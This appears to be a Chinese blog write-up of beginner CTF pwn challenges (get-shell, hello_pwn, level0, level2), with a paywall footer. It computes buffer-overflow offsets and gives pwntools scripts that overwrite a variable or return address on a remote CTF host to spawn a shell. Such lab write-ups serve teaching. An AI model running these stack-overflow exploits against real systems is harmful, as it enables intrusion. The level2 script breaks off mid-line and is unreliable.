get-shell

此题是经典入门题,没有设置任何漏洞,直接给了shell
直接nc连上,然后ls,最后cat flag即可
hello_pwn


发现只要让dword_60106C == 1853186401就可以拿到flag
read函数将把数据读入unk_601068中,要想办法让数据覆盖到dword_60106C,所以查看两个数据内存

计算距离为4,写个exp即可
from pwn import *
p = remote('111.200.241.244', '56851')
p.recvuntil(b" ~~ ")
p.recvuntil(b"bof\n") #puts会自动换行
payload = b'a' * 4 + p64(0x6E756161)
p.sendline(payload)
p.interactive()
p.recvuntil有没有都行
level0


main函数很简单,看到read,猜测是溢出题
然后找到了这个函数

去数据里看看

r是return address,所以只要让函数返回的地方ip是callsystem的地址就行了

计算记录 128 + 8 = 136
写出exp
from pwn import *
p = remote('111.200.241.244', '56851')
payload = b'a' * 136 + p64(0x400596)
p.sendline(payload)
p.interactive()
level2


进去主函数,发现read,应该还是溢出题
但是并没有找到获取shell的system,这题要自己设置
先找到bin/sh的位置

再看看数据的位置

计算距离
136 + 4 = 140
exp如下
from pwn import *
p = remote('', '')
e = ELF("./level2")
sysaddr = e.symbols['system']
payload = b'a' * 140 + p32(sysaddr) + p32(0) + p32

本文详细介绍了多个缓冲区溢出和格式化字符串漏洞的利用方法,包括计算偏移量、构造exploit payload以及利用系统函数获取shell。涉及到的技巧包括栈溢出、地址计算、shellcode注入等,展示了在不同场景下如何利用这些漏洞来控制系统执行流程。
最低0.47元/天 解锁文章
3384





